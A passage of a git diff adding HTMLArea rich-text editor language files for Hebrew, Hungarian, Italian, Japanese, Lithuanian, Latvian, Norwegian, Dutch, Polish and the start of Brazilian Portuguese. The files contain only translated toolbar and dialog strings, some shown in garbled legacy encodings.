+               copy:           "העתק בחירה",\r\r
+               paste:          "הדבק מהלוח",\r\r
+               lefttoright:    "כיוון משמאל לימין",\r\r
+               righttoleft:    "כיוון מימין לשמאל"\r\r
+       },\r\r
+\r\r
+       buttons: {\r\r
+               "ok":           "אישור",\r\r
+               "cancel":       "ביטול"\r\r
+       },\r\r
+\r\r
+       msg: {\r\r
+               "Path":         "נתיב עיצוב",\r\r
+               "TEXT_MODE":    "אתה במצב טקסט נקי (קוד). השתמש בכפתור [<>] כדי לחזור למצב WYSIWYG (תצוגת עיצוב).",\r\r
+\r\r
+               "IE-sucks-full-screen" :\r\r
+               // translate here\r\r
+               "מצב מסך מלא יוצר בעיות בדפדפן Internet Explorer, " +\r\r
+               "עקב באגים בדפדפן לא יכולנו לפתור את זה.  את/ה עלול/ה לחוות תצוגת זבל,  " +\r\r
+               "בעיות בתפקוד העורך ו/או קריסה של הדפדפן.  אם המערכת שלך היא Windows 9x " +\r\r
+               "סביר להניח שתקבל/י 'General Protection Fault' ותאלצ/י לאתחל את המחשב.\n\n" +\r\r
+               "ראה/י הוזהרת.  אנא לחץ/י אישור אם את/ה עדיין רוצה לנסות את העורך במסך מלא."\r\r
+       },\r\r
+\r\r
+       dialogs: {\r\r
+               "Cancel"                                            : "ביטול",\r\r
+               "Insert/Modify Link"                                : "הוסף/שנה קישור",\r\r
+               "New window (_blank)"                               : "חלון חדש (_blank)",\r\r
+               "None (use implicit)"                               : "ללא (השתמש ב-frame הקיים)",\r\r
+               "OK"                                                : "OK",\r\r
+               "Other"                                             : "אחר",\r\r
+               "Same frame (_self)"                                : "אותו frame (_self)",\r\r
+               "Target:"                                           : "יעד:",\r\r
+               "Title (tooltip):"                                  : "כותרת (tooltip):",\r\r
+               "Top frame (_top)"                                  : "Frame עליון (_top)",\r\r
+               "URL:"                                              : "URL:",\r\r
+               "You must enter the URL where this link points to"  : "חובה לכתוב URL שאליו קישור זה מצביע"\r\r
+\r\r
+       }\r\r
+};\r\r
diff --git a/admin/htmlarea/lang/hu.js b/admin/htmlarea/lang/hu.js
new file mode 100755 (executable)
index 0000000..2c549eb
--- /dev/null
@@ -0,0 +1,90 @@
+// I18N constants
+
+// LANG: "hu", ENCODING: UTF-8
+// Author: Miklós Somogyi, <somogyine@vnet.hu>
+
+// FOR TRANSLATORS:
+//
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+//      (at least a valid email address)
+//
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+//      (if this is not possible, please include a comment
+//       that states what encoding is necessary.)
+
+HTMLArea.I18N = {
+
+       // the following should be the filename without .js extension
+       // it will be used for automatically load plugin language.
+       lang: "hu",
+
+       tooltips: {
+               bold:           "Félkövér",
+               italic:         "Dőlt",
+               underline:      "Aláhúzott",
+               strikethrough:  "Áthúzott",
+               subscript:      "Alsó index",
+               superscript:    "Felső index",
+               justifyleft:    "Balra zárt",
+               justifycenter:  "Középre zárt",
+               justifyright:   "Jobbra zárt",
+               justifyfull:    "Sorkizárt",
+               orderedlist:    "Számozott lista",
+               unorderedlist:  "Számozatlan lista",
+               outdent:        "Behúzás csökkentése",
+               indent:         "Behúzás növelése",
+               forecolor:      "Karakterszín",
+               hilitecolor:    "Háttérszín",
+               horizontalrule: "Elválasztó vonal",
+               createlink:     "Hiperhivatkozás beszúrása",
+               insertimage:    "Kép beszúrása",
+               inserttable:    "Táblázat beszúrása",
+               htmlmode:       "HTML forrás be/ki",
+               popupeditor:    "Szerkesztő külön ablakban",
+               about:          "Névjegy",
+               showhelp:       "Súgó",
+               textindicator:  "Aktuális stílus",
+               undo:           "Visszavonás",
+               redo:           "Újra végrehajtás",
+               cut:            "Kivágás",
+               copy:           "Másolás",
+               paste:          "Beillesztés",
+               lefttoright:    "Irány balról jobbra",
+               righttoleft:    "Irány jobbról balra"
+       },
+
+       buttons: {
+               "ok":           "Rendben",
+               "cancel":       "Mégsem"
+       },
+
+       msg: {
+               "Path":         "Hierarchia",
+               "TEXT_MODE":    "Forrás mód. Visszaváltás [<>] gomb",
+
+               "IE-sucks-full-screen" :
+               // translate here
+               "A teljesképrenyős szerkesztés hibát okozhat Internet Explorer használata esetén, " +
+               "ez a böngésző a hibája, amit nem tudunk kikerülni. Szemetet észlelhet a képrenyőn, " +
+               "illetve néhány funkció hiányozhat és/vagy véletlenszerűen lefagyhat a böngésző. " +
+               "Windows 9x operaciós futtatása esetén elég valószínű, hogy 'General Protection Fault' " +
+               "hibát okoz és újra kell indítania a számítógépet.\n\n" +
+               "Figyelmeztettük.  Kérjük nyomja meg a Rendben gombot, ha mégis szeretné megnyitni a " +
+               "szerkesztőt külön ablakban."
+       },
+
+       dialogs: {
+               "Cancel"                                            : "Mégsem",
+               "Insert/Modify Link"                                : "Hivatkozás Beszúrása/Módosítása",
+               "New window (_blank)"                               : "Új ablak (_blank)",
+               "None (use implicit)"                               : "Nincs (use implicit)",
+               "OK"                                                : "OK",
+               "Other"                                             : "Más",
+               "Same frame (_self)"                                : "Ugyanabba a keretbe (_self)",
+               "Target:"                                           : "Cél:",
+               "Title (tooltip):"                                  : "Cím (tooltip):",
+               "Top frame (_top)"                                  : "Felső keret (_top)",
+               "URL:"                                              : "URL:",
+               "You must enter the URL where this link points to"  : "Be kell írnia az URL-t, ahova a hivatkozás mutasson"
+       }
+};
diff --git a/admin/htmlarea/lang/it.js b/admin/htmlarea/lang/it.js
new file mode 100755 (executable)
index 0000000..be06e99
--- /dev/null
@@ -0,0 +1,54 @@
+// I18N constants
+
+// LANG: "it", ENCODING: UTF-8 | ISO-8859-1
+// Author: Fabio Rotondo <fabio@rotondo.it>
+
+HTMLArea.I18N = {
+
+       // the following should be the filename without .js extension
+       // it will be used for automatically load plugin language.
+       lang: "it",
+
+       tooltips: {
+               bold:           "Grassetto",
+               italic:         "Italico",
+               underline:      "Sottolineato",
+               strikethrough:  "Barrato",
+               subscript:      "Pedice",
+               superscript:    "Apice",
+               justifyleft:    "Giustifica a Sinistra",
+               justifycenter:  "Giustifica in Centro",
+               justifyright:   "Giustifica a Destra",
+               justifyfull:    "Giustifica Completamente",
+               orderedlist:    "Lista Ordinata",
+               unorderedlist:  "Lista Puntata",
+               outdent:        "Decrementa Indentazione",
+               indent:         "Incrementa Indentazione",
+               forecolor:      "Colore del Carattere",
+               hilitecolor:    "Colore di Sfondo",
+               horizontalrule: "Linea Orizzontale",
+               createlink:     "Inserisci un Link",
+               insertimage:    "Inserisci un'Immagine",
+               inserttable:    "Inserisci una Tabella",
+               htmlmode:       "Attiva il codice HTML",
+               popupeditor:    "Allarga l'editor",
+               about:          "Info sull'editor",
+               showhelp:       "Aiuto sull'editor",
+               textindicator:  "Stile Attuale",
+               undo:           "Elimina l'ultima modifica",
+               redo:           "Ripristina l'ultima modifica",
+               cut:            "Taglia l'area selezionata",
+               copy:           "Copia l'area selezionata",
+               paste:          "Incolla dalla memoria"
+       },
+
+       buttons: {
+               "ok":           "OK",
+               "cancel":       "Annulla"
+       },
+
+       msg: {
+               "Path":         "Percorso",
+               "TEXT_MODE":    "Sei in MODALITA' TESTO. Usa il bottone [<>] per tornare alla modalità WYSIWYG."
+       }
+};
diff --git a/admin/htmlarea/lang/ja-euc.js b/admin/htmlarea/lang/ja-euc.js
new file mode 100755 (executable)
index 0000000..87574e8
--- /dev/null
@@ -0,0 +1,37 @@
+// I18N constants -- Japanese EUC
+// by Manabu Onoue -- tmocsys@tmocsys.com
+
+HTMLArea.I18N = {
+
+       // the following should be the filename without .js extension
+       // it will be used for automatically load plugin language.
+       lang: "ja-euc",
+
+       tooltips: {
+               bold:           "ÂÀ»ú",
+               italic:         "¼ÐÂÎ",
+               underline:      "²¼Àþ",
+               strikethrough:  "ÂǤÁ¾Ã¤·Àþ",
+               subscript:      "²¼ÉÕ¤­Åº¤¨»ú",
+               superscript:    "¾åÉÕ¤­Åº¤¨»ú",
+               justifyleft:    "º¸´ó¤»",
+               justifycenter:  "Ãæ±û´ó¤»",
+               justifyright:   "±¦´ó¤»",
+               justifyfull:    "¶ÑÅù³äÉÕ",
+               orderedlist:    "ÈÖ¹æÉÕ¤­²Õ¾ò½ñ¤­",
+               unorderedlist:  "µ­¹æÉÕ¤­²Õ¾ò½ñ¤­",
+               outdent:        "¥¤¥ó¥Ç¥ó¥È²ò½ü",
+               indent:         "¥¤¥ó¥Ç¥ó¥ÈÀßÄê",
+               forecolor:      "ʸ»ú¿§",
+               backcolor:      "ÇØ·Ê¿§",
+               horizontalrule: "¿åÊ¿Àþ",
+               createlink:     "¥ê¥ó¥¯ºîÀ®",
+               insertimage:    "²èÁüÁÞÆþ",
+               inserttable:    "¥Æ¡¼¥Ö¥ëÁÞÆþ",
+               htmlmode:       "HTMLɽ¼¨ÀÚÂØ",
+               popupeditor:    "¥¨¥Ç¥£¥¿³ÈÂç",
+               about:          "¥Ð¡¼¥¸¥ç¥ó¾ðÊó",
+               help:           "¥Ø¥ë¥×",
+               textindicator:  "¸½ºß¤Î¥¹¥¿¥¤¥ë"
+       }
+};
diff --git a/admin/htmlarea/lang/ja-jis.js b/admin/htmlarea/lang/ja-jis.js
new file mode 100755 (executable)
index 0000000..49e5a3b
--- /dev/null
@@ -0,0 +1,37 @@
+// I18N constants -- Japanese JIS
+// by Manabu Onoue -- tmocsys@tmocsys.com
+
+HTMLArea.I18N = {
+
+       // the following should be the filename without .js extension
+       // it will be used for automatically load plugin language.
+       lang: "ja-jis",
+
+       tooltips: {
+               bold:           "\e$BB@;z\e(B",
+               italic:         "\e$B<PBN\e(B",
+               underline:      "\e$B2<@~\e(B",
+               strikethrough:  "\e$BBG$A>C$7@~\e(B",
+               subscript:      "\e$B2<IU$-E:$(;z\e(B",
+               superscript:    "\e$B>eIU$-E:$(;z\e(B",
+               justifyleft:    "\e$B:84s$;\e(B",
+               justifycenter:  "\e$BCf1{4s$;\e(B",
+               justifyright:   "\e$B1&4s$;\e(B",
+               justifyfull:    "\e$B6QEy3dIU\e(B",
+               orderedlist:    "\e$BHV9fIU$-2U>r=q$-\e(B",
+               unorderedlist:  "\e$B5-9fIU$-2U>r=q$-\e(B",
+               outdent:        "\e$B%$%s%G%s%H2r=|\e(B",
+               indent:         "\e$B%$%s%G%s%H@_Dj\e(B",
+               forecolor:      "\e$BJ8;z?'\e(B",
+               backcolor:      "\e$BGX7J?'\e(B",
+               horizontalrule: "\e$B?eJ?@~\e(B",
+               createlink:     "\e$B%j%s%/:n@.\e(B",
+               insertimage:    "\e$B2hA|A^F~\e(B",
+               inserttable:    "\e$B%F!<%V%kA^F~\e(B",
+               htmlmode:       "HTML\e$BI=<(@ZBX\e(B",
+               popupeditor:    "\e$B%(%G%#%?3HBg\e(B",
+               about:          "\e$B%P!<%8%g%s>pJs\e(B",
+               help:           "\e$B%X%k%W\e(B",
+               textindicator:  "\e$B8=:_$N%9%?%$%k\e(B"
+       }
+};
diff --git a/admin/htmlarea/lang/ja-sjis.js b/admin/htmlarea/lang/ja-sjis.js
new file mode 100755 (executable)
index 0000000..9124529
--- /dev/null
@@ -0,0 +1,37 @@
+// I18N constants -- Japanese Shift-JIS
+// by Manabu Onoue -- tmocsys@tmocsys.com
+
+HTMLArea.I18N = {
+
+       // the following should be the filename without .js extension
+       // it will be used for automatically load plugin language.
+       lang: "ja-sjis",
+
+       tooltips: {
+               bold:           "\91¾\8e\9a",
+               italic:         "\8eÎ\91Ì",
+               underline:      "\89º\90ü",
+               strikethrough:  "\91Å\82¿\8fÁ\82µ\90ü",
+               subscript:      "\89º\95t\82«\93Y\82¦\8e\9a",
+               superscript:    "\8fã\95t\82«\93Y\82¦\8e\9a",
+               justifyleft:    "\8d\8añ\82¹",
+               justifycenter:  "\92\86\89\9b\8añ\82¹",
+               justifyright:   "\89E\8añ\82¹",
+               justifyfull:    "\8bÏ\93\99\8a\84\95t",
+               orderedlist:    "\94Ô\8d\86\95t\82«\89Ó\8fð\8f\91\82«",
+               unorderedlist:  "\8bL\8d\86\95t\82«\89Ó\8fð\8f\91\82«",
+               outdent:        "\83C\83\93\83f\83\93\83g\89ð\8f\9c",
+               indent:         "\83C\83\93\83f\83\93\83g\90Ý\92è",
+               forecolor:      "\95\8e\9a\90F",
+               backcolor:      "\94w\8ci\90F",
+               horizontalrule: "\90\85\95½\90ü",
+               createlink:     "\83\8a\83\93\83N\8dì\90¬",
+               insertimage:    "\89æ\91\9c\91}\93ü",
+               inserttable:    "\83e\81[\83u\83\8b\91}\93ü",
+               htmlmode:       "HTML\95\\8e¦\90Ø\91Ö",
+               popupeditor:    "\83G\83f\83B\83^\8ag\91å",
+               about:          "\83o\81[\83W\83\87\83\93\8fî\95ñ",
+               help:           "\83w\83\8b\83v",
+               textindicator:  "\8c»\8dÝ\82Ì\83X\83^\83C\83\8b"
+       }
+};
diff --git a/admin/htmlarea/lang/ja-utf8.js b/admin/htmlarea/lang/ja-utf8.js
new file mode 100755 (executable)
index 0000000..f351fac
--- /dev/null
@@ -0,0 +1,37 @@
+// I18N constants -- Japanese UTF-8
+// by Manabu Onoue -- tmocsys@tmocsys.com
+
+HTMLArea.I18N = {
+
+       // the following should be the filename without .js extension
+       // it will be used for automatically load plugin language.
+       lang: "ja-utf8",
+
+       tooltips: {
+               bold:           "太字",
+               italic:         "斜体",
+               underline:      "下線",
+               strikethrough:  "打ち消し線",
+               subscript:      "下付き添え字",
+               superscript:    "上付き添え字",
+               justifyleft:    "左寄せ",
+               justifycenter:  "中央寄せ",
+               justifyright:   "右寄せ",
+               justifyfull:    "均等割付",
+               orderedlist:    "番号付き箇条書き",
+               unorderedlist:  "記号付き箇条書き",
+               outdent:        "インデント解除",
+               indent:         "インデント設定",
+               forecolor:      "文字色",
+               backcolor:      "背景色",
+               horizontalrule: "水平線",
+               createlink:     "リンク作成",
+               insertimage:    "画像挿入",
+               inserttable:    "テーブル挿入",
+               htmlmode:       "HTML表示切替",
+               popupeditor:    "エディタ拡大",
+               about:          "バージョン情報",
+               help:           "ヘルプ",
+               textindicator:  "現在のスタイル"
+       }
+};
diff --git a/admin/htmlarea/lang/lt.js b/admin/htmlarea/lang/lt.js
new file mode 100755 (executable)
index 0000000..bf1efc5
--- /dev/null
@@ -0,0 +1,55 @@
+// I18N constants
+
+// LANG: "lt", ENCODING: UTF-8
+// Author: Jaroslav Šatkevič, <jaro@akl.lt>
+
+
+HTMLArea.I18N = {
+
+       // the following should be the filename without .js extension
+       // it will be used for automatically load plugin language.
+       lang: "lt",
+
+       tooltips: {
+               bold:           "Paryškinti",
+               italic:         "Kursyvas",
+               underline:      "Pabraukti",
+               strikethrough:  "Perbraukti",
+               subscript:      "Apatinis indeksas",
+               superscript:    "Viršutinis indeksas",
+               justifyleft:    "Lygiavimas pagal kairę",
+               justifycenter:  "Lygiavimas pagal centrą",
+               justifyright:   "Lygiavimas pagal dešinę",
+               justifyfull:    "Lygiuoti pastraipą",
+               orderedlist:    "Numeruotas sąrašas",
+               unorderedlist:  "Suženklintas sąrašas",
+               outdent:        "Sumažinti paraštę",
+               indent:         "Padidinti paraštę",
+               forecolor:      "Šrifto spalva",
+               hilitecolor:    "Fono spalva",
+               horizontalrule: "Horizontali linija",
+               createlink:     "Įterpti nuorodą",
+               insertimage:    "Įterpti paveiksliuką",
+               inserttable:    "Įterpti lentelę",
+               htmlmode:       "Perjungti į HTML/WYSIWYG",
+               popupeditor:    "Išplėstas redagavimo ekranas/Enlarge Editor",
+               about:          "Apie redaktorių",
+               showhelp:       "Pagalba naudojant redaktorių",
+               textindicator:  "Dabartinis stilius",
+               undo:           "Atšaukia paskutini jūsų veiksmą",
+               redo:           "Pakartoja paskutinį atšauktą jūsų veiksmą",
+               cut:            "Iškirpti",
+               copy:           "Kopijuoti",
+               paste:          "Įterpti"
+       },
+
+       buttons: {
+               "ok":           "OK",
+               "cancel":       "Atšaukti"
+       },
+
+       msg: {
+               "Path":         "Kelias",
+               "TEXT_MODE":    "Jūs esete teksto režime.  Naudokite [<>] mygtuką grįžimui į WYSIWYG."
+       }
+};
diff --git a/admin/htmlarea/lang/lv.js b/admin/htmlarea/lang/lv.js
new file mode 100755 (executable)
index 0000000..7e8b84b
--- /dev/null
@@ -0,0 +1,55 @@
+// I18N constants\r\r
+\r\r
+// LANG: "lv", ENCODING: UTF-8 | ISO-8859-1\r\r
+// Author: Mihai Bazon, http://dynarch.com/mishoo\r\r
+// Translated by: Janis Klavins, <janis.klavins@devia.lv>\r\r
+\r\r
+HTMLArea.I18N = {\r\r
+\r\r
+       // the following should be the filename without .js extension\r\r
+       // it will be used for automatically load plugin language.\r\r
+       lang: "lv",\r\r
+\r\r
+       tooltips: {\r\r
+               bold:           "Trekniem burtiem",\r\r
+               italic:         "Kursîvâ",\r\r
+               underline:      "Pasvîtrots",\r\r
+               strikethrough:  "Pârsvîtrots",\r\r
+               subscript:      "Novietot zem rindas",\r\r
+               superscript:    "Novietot virs rindas",\r\r
+               justifyleft:    "Izlîdzinât pa kreisi",\r\r
+               justifycenter:  "Izlîdzinât centrâ",\r\r
+               justifyright:   "Izlîdzinât pa labi",\r\r
+               justifyfull:    "Izlîdzinât pa visu lapu",\r\r
+               orderedlist:    "Numurçts saraksts",\r\r
+               unorderedlist:  "Saraksts",\r\r
+               outdent:        "Samazinât atkâpi",\r\r
+               indent:         "Palielinât atkâpi",\r\r
+               forecolor:      "Burtu krâsa",\r\r
+               hilitecolor:    "Fona krâsa",\r\r
+               horizontalrule: "Horizontâla atdalîtâjsvîtra",\r\r
+               createlink:     "Ievietot hipersaiti",\r\r
+               insertimage:    "Ievietot attçlu",\r\r
+               inserttable:    "Ievietot tabulu",\r\r
+               htmlmode:       "Skatît HTML kodu",\r\r
+               popupeditor:    "Palielinât Rediìçtâju",\r\r
+               about:          "Par ðo rediìçtâju",\r\r
+               showhelp:       "Rediìçtâja palîgs",\r\r
+               textindicator:  "Patreizçjais stils",\r\r
+               undo:           "Atcelt pçdçjo darbîbu",\r\r
+               redo:           "Atkârtot pçdçjo darbîbu",\r\r
+               cut:            "Izgriezt iezîmçto",\r\r
+               copy:           "Kopçt iezîmçto",\r\r
+               paste:          "Ievietot iezîmçto"\r\r
+       },\r\r
+\r\r
+       buttons: {\r\r
+               "ok":           "Labi",\r\r
+               "cancel":       "Atcelt"\r\r
+       },\r\r
+\r\r
+       msg: {\r\r
+               "Path":         "Ceïð",\r\r
+               "TEXT_MODE":    "Jûs patlaban darbojaties TEKSTA REÞÎMÂ. Lai pârietu atpakaï uz GRAFISKO REÞÎMU (WYSIWIG), lietojiet [<>] pogu."\r\r
+       }\r\r
+};\r\r
diff --git a/admin/htmlarea/lang/makefile.xml b/admin/htmlarea/lang/makefile.xml
new file mode 100755 (executable)
index 0000000..eed81b0
--- /dev/null
@@ -0,0 +1,3 @@
+<files>
+  <file name="*.js" />
+</files>
diff --git a/admin/htmlarea/lang/nb.js b/admin/htmlarea/lang/nb.js
new file mode 100755 (executable)
index 0000000..4b95b8c
--- /dev/null
@@ -0,0 +1,36 @@
+// I18N constants
+
+HTMLArea.I18N = {
+
+       // the following should be the filename without .js extension
+       // it will be used for automatically load plugin language.
+       lang: "nb",
+
+       tooltips: {
+               bold:           "Fet",
+               italic:         "Kursiv",
+               underline:      "Understreket",
+               strikethrough:  "Gjennomstreket",
+               subscript:      "Senket",
+               superscript:    "Hevet",
+               justifyleft:    "Venstrejuster",
+               justifycenter:  "Midtjuster",
+               justifyright:   "Høyrejuster",
+               justifyfull:    "Blokkjuster",
+               orderedlist:    "Nummerert liste",
+               unorderedlist:  "Punktmerket liste",
+               outdent:        "Øke innrykk",
+               indent:         "Reduser innrykk",
+               forecolor:      "Skriftfarge",
+               backcolor:      "Bakgrunnsfarge",
+               horizontalrule: "Horisontal linje",
+               createlink:     "Sett inn lenke",
+               insertimage:    "Sett inn bilde",
+               inserttable:    "Sett inn tabell",
+               htmlmode:       "Vis HTML kode",
+               popupeditor:    "Forstørr redigeringsvindu",
+               about:          "Om..",
+               help:           "Hjelp",
+               textindicator:  "Gjeldende stil"
+       }
+};
diff --git a/admin/htmlarea/lang/nl.js b/admin/htmlarea/lang/nl.js
new file mode 100755 (executable)
index 0000000..a470a6b
--- /dev/null
@@ -0,0 +1,90 @@
+// I18N constants\r\r
+\r\r
+// LANG: "nl", ENCODING: UTF-8 | ISO-8859-1\r\r
+// Author: Michel Weegeerink (info@mmc-shop.nl), http://mmc-shop.nl\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+//   1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+//      (at least a valid email address)\r\r
+//\r\r
+//   2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+//      (if this is not possible, please include a comment\r\r
+//       that states what encoding is necessary.)\r\r
+\r\r
+HTMLArea.I18N = {\r\r
+\r\r
+       // the following should be the filename without .js extension\r\r
+       // it will be used for automatically load plugin language.\r\r
+       lang: "nl",\r\r
+\r\r
+       tooltips: {\r\r
+               bold:                                   "Vet",\r\r
+               italic:                                 "Cursief",\r\r
+               underline:                              "Onderstrepen",\r\r
+               strikethrough:                  "Doorhalen",\r\r
+               subscript:                              "Subscript",\r\r
+               superscript:                    "Superscript",\r\r
+               justifyleft:                    "Links uitlijnen",\r\r
+               justifycenter:                  "Centreren",\r\r
+               justifyright:                   "Rechts uitlijnen",\r\r
+               justifyfull:                    "Uitvullen",\r\r
+               orderedlist:            "Nummering",\r\r
+               unorderedlist:  "Opsommingstekens",\r\r
+               outdent:                                "Inspringing verkleinen",\r\r
+               indent:                                 "Inspringing vergroten",\r\r
+               forecolor:                              "Tekstkleur",\r\r
+               hilitecolor:                    "Achtergrondkleur",\r\r
+               inserthorizontalrule:   "Horizontale lijn",\r\r
+               createlink:                             "Hyperlink invoegen/aanpassen",\r\r
+               insertimage:                    "Afbeelding invoegen/aanpassen",\r\r
+               inserttable:                    "Tabel invoegen",\r\r
+               htmlmode:                               "HTML broncode",\r\r
+               popupeditor:                    "Vergroot Editor",\r\r
+               about:                                  "Over deze editor",\r\r
+               showhelp:                               "HTMLArea help",\r\r
+               textindicator:                  "Huidige stijl",\r\r
+               undo:                                   "Ongedaan maken",\r\r
+               redo:                                   "Herhalen",\r\r
+               cut:                                    "Knippen",\r\r
+               copy:                                   "Kopiëren",\r\r
+               paste:                                  "Plakken",\r\r
+               lefttoright:                    "Tekstrichting links naar rechts",\r\r
+               righttoleft:                    "Tekstrichting rechts naar links"\r\r
+       },\r\r
+\r\r
+       buttons: {\r\r
+               "ok":                                   "OK",\r\r
+               "cancel":                               "Annuleren"\r\r
+       },\r\r
+\r\r
+       msg: {\r\r
+               "Path":                                 "Pad",\r\r
+               "TEXT_MODE":                    "Je bent in TEKST-mode. Gebruik de [<>] knop om terug te keren naar WYSIWYG-mode.",\r\r
+      \r\r
+               "IE-sucks-full-screen" :\r\r
+               // translate here\r\r
+               "Fullscreen-mode veroorzaakt problemen met Internet Explorer door bugs in de webbrowser " +\r\r
+               "die we niet kunnen omzeilen. Hierdoor kunnen de volgende effecten optreden: verknoeide teksten, " +\r\r
+               "een verlies aan editor-functionaliteit en/of willekeurig vastlopen van de webbrowser. " +\r\r
+               "Als u Windows 95 of 98 gebruikt, is het zeer waarschijnlijk dat u een algemene beschermingsfout " +\r\r
+               "('General Protection Fault') krijgt en de computer opnieuw zal moeten opstarten.\n\n" +\r\r
+               "U bent gewaarschuwd. Druk OK als u toch nog de Fullscreen-editor wil gebruiken."\r\r
+       },\r\r
+\r\r
+       dialogs: {\r\r
+               "Cancel"                                            : "Annuleren",\r\r
+               "Insert/Modify Link"                                : "Hyperlink invoegen/aanpassen",\r\r
+               "New window (_blank)"                               : "Nieuw venster (_blank)",\r\r
+               "None (use implicit)"                               : "Geen",\r\r
+               "OK"                                                : "OK",\r\r
+               "Other"                                             : "Ander",\r\r
+               "Same frame (_self)"                                : "Zelfde frame (_self)",\r\r
+               "Target:"                                           : "Doel:",\r\r
+               "Title (tooltip):"                                  : "Titel (tooltip):",\r\r
+               "Top frame (_top)"                                  : "Bovenste frame (_top)",\r\r
+               "URL:"                                              : "URL:",\r\r
+               "You must enter the URL where this link points to"  : "Geef de URL in waar de link naar verwijst"\r\r
+       }\r\r
+};\r\r
+\r\r
diff --git a/admin/htmlarea/lang/no.js b/admin/htmlarea/lang/no.js
new file mode 100755 (executable)
index 0000000..4530872
--- /dev/null
@@ -0,0 +1,79 @@
+// Norwegian version for htmlArea v3.0 - pre1\r\r
+// - translated by ses<ses@online.no>\r\r
+// Additional translations by Håvard Wigtil <havardw@extend.no>\r\r
+// term´s and licenses are equal to htmlarea!\r\r
+\r\r
+HTMLArea.I18N = {\r\r
+\r\r
+       // the following should be the filename without .js extension\r\r
+       // it will be used for automatically load plugin language.\r\r
+       lang: "no",\r\r
+\r\r
+       tooltips: {\r\r
+               bold:                 "Fet",\r\r
+               italic:               "Kursiv",\r\r
+               underline:            "Understreket",\r\r
+               strikethrough:        "Gjennomstreket",\r\r
+               subscript:            "Nedsenket",\r\r
+               superscript:          "Opphøyet",\r\r
+               justifyleft:          "Venstrejuster",\r\r
+               justifycenter:        "Midtjuster",\r\r
+               justifyright:         "Høyrejuster",\r\r
+               justifyfull:          "Blokkjuster",\r\r
+               orderedlist:    "Nummerert liste",\r\r
+               unorderedlist:  "Punktliste",\r\r
+               outdent:              "Reduser innrykk",\r\r
+               indent:               "Øke innrykk",\r\r
+               forecolor:            "Tekstfarge",\r\r
+               hilitecolor:          "Bakgrundsfarge",\r\r
+               inserthorizontalrule: "Vannrett linje",\r\r
+               createlink:           "Lag lenke",\r\r
+               insertimage:          "Sett inn bilde",\r\r
+               inserttable:          "Sett inn tabell",\r\r
+               htmlmode:             "Vis kildekode",\r\r
+               popupeditor:          "Vis i eget vindu",\r\r
+               about:                "Om denne editor",\r\r
+               showhelp:             "Hjelp",\r\r
+               textindicator:        "Nåværende stil",\r\r
+                undo:                 "Angrer siste redigering",\r\r
+               redo:                 "Gjør om siste angring",\r\r
+               cut:                  "Klipp ut område",\r\r
+               copy:                 "Kopier område",\r\r
+               paste:                "Lim inn",\r\r
+               lefttoright:          "Fra venstre mot høyre",\r\r
+               righttoleft:          "Fra høyre mot venstre"\r\r
+       },\r\r
+    \r\r
+       buttons: {\r\r
+               "ok":           "OK",\r\r
+               "cancel":       "Avbryt"\r\r
+       },\r\r
+\r\r
+       msg: {\r\r
+               "Path":         "Tekstvelger",\r\r
+               "TEXT_MODE":    "Du er i tekstmodus  Klikk på [<>] for å gå tilbake til WYSIWIG.",\r\r
+                "IE-sucks-full-screen" :\r\r
+               // translate here\r\r
+                "Visning i eget vindu har kjente problemer med Internet Explorer, " + \r\r
+                "på grunn av problemer med denne nettleseren. Mulige problemer er et uryddig " + \r\r
+                "skjermbilde, manglende editorfunksjoner og/eller at nettleseren crasher. Hvis du bruker Windows 95 eller Windows 98 " +\r\r
+                "er det også muligheter for at Windows will crashe.\n\n" +\r\r
+                "Trykk 'OK' hvis du vil bruke visning i eget vindu på tross av denne advarselen."\r\r
+       },\r\r
+\r\r
+       dialogs: {\r\r
+               "Cancel"                                            : "Avbryt",\r\r
+               "Insert/Modify Link"                                : "Rediger lenke",\r\r
+               "New window (_blank)"                               : "Eget vindu (_blank)",\r\r
+               "None (use implicit)"                               : "Ingen (bruk standardinnstilling)",\r\r
+               "OK"                                                : "OK",\r\r
+               "Other"                                             : "Annen",\r\r
+               "Same frame (_self)"                                : "Samme ramme (_self)",\r\r
+               "Target:"                                           : "Mål:",\r\r
+               "Title (tooltip):"                                  : "Tittel (tooltip):",\r\r
+               "Top frame (_top)"                                  : "Toppramme (_top)",\r\r
+               "URL:"                                              : "Adresse:",\r\r
+               "You must enter the URL where this link points to"  : "Du må skrive inn en adresse som denne lenken skal peke til"\r\r
+       }\r\r
+};\r\r
+\r\r
diff --git a/admin/htmlarea/lang/pl.js b/admin/htmlarea/lang/pl.js
new file mode 100755 (executable)
index 0000000..b2a35c5
--- /dev/null
@@ -0,0 +1,36 @@
+// I18N constants\r\r
+\r\r
+HTMLArea.I18N = {\r\r
+\r
+       // the following should be the filename without .js extension\r
+       // it will be used for automatically load plugin language.\r
+       lang: "pl",\r
+\r
+       tooltips: {\r\r
+               bold:           "Pogrubienie",\r\r
+               italic:         "Pochylenie",\r\r
+               underline:      "Podkre\9clenie",\r\r
+               strikethrough:  "Przekre\9clenie",\r\r
+               subscript:      "Indeks dolny",\r\r
+               superscript:    "Indeks górny",\r\r
+               justifyleft:    "Wyrównaj do lewej",\r\r
+               justifycenter:  "Wy\9crodkuj",\r\r
+               justifyright:   "Wyrównaj do prawej",\r\r
+               justifyfull:    "Wyjustuj",\r\r
+               orderedlist:    "Numerowanie",\r\r
+               unorderedlist:  "Wypunktowanie",\r\r
+               outdent:        "Zmniejsz wciêcie",\r\r
+               indent:         "Zwiêksz wciêcie",\r\r
+               forecolor:      "Kolor czcionki",\r\r
+               backcolor:      "Kolor t³a",\r\r
+               horizontalrule: "Linia pozioma",\r\r
+               createlink:     "Wstaw adres sieci Web",\r\r
+               insertimage:    "Wstaw obraz",\r\r
+               inserttable:    "Wstaw tabelê",\r\r
+               htmlmode:       "Edycja WYSIWYG/w \9fródle strony",\r\r
+               popupeditor:    "Pe³ny ekran",\r\r
+               about:          "Informacje o tym edytorze",\r\r
+               help:           "Pomoc",\r\r
+               textindicator:  "Obecny styl"\r\r
+       }\r\r
+};\r\r
diff --git a/admin/htmlarea/lang/pt_br.js b/admin/htmlarea/lang/pt_br.js
new file mode 100755 (executable)
index 0000000..795cc74
--- /dev/null
@@ -0,0 +1,37 @@
+// I18N constants\r\r
+// Brazilian Portuguese Translation by Alex Piaz <webmaster@globalmap.com>\r\r
+\r\r
